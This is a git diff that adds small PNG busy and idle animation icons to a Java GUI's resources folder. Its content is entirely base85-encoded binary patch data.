0000000000000000000000000000000000000000..49fbc6ec54f7a5a44a83ff2a7fab1d2c286e5b18 GIT binary patch literal 3598 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 literal 0 HcmV?d00001 diff --git a/external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon8.png b/external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon8.png new file mode 100644 index 0000000000000000000000000000000000000000..e1a5a409387b1eccc58b63fa0d1afa9b80108ba8 GIT binary patch literal 3594 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 Qv;Y7A07*qoM6N<$f^|K;T>t<8 literal 0 HcmV?d00001 diff --git a/external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon9.png b/external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon9.png new file mode 100644 index 0000000000000000000000000000000000000000..827801235b043066db61a9b1216d8f2e11002a7b GIT binary patch literal 3581 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 DEnc`0 literal 0 HcmV?d00001 diff --git a/external/source/gui/msfguijava/src/msfgui/resources/busyicons/idle-icon.png b/external/source/gui/msfguijava/src/msfgui/resources/busyicons/idle-icon.png new file mode 100644 index 0000000000000000000000000000000000000000..50312f85a94a9ff69ada73017e9700c464655790 GIT binary patch literal 3360 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 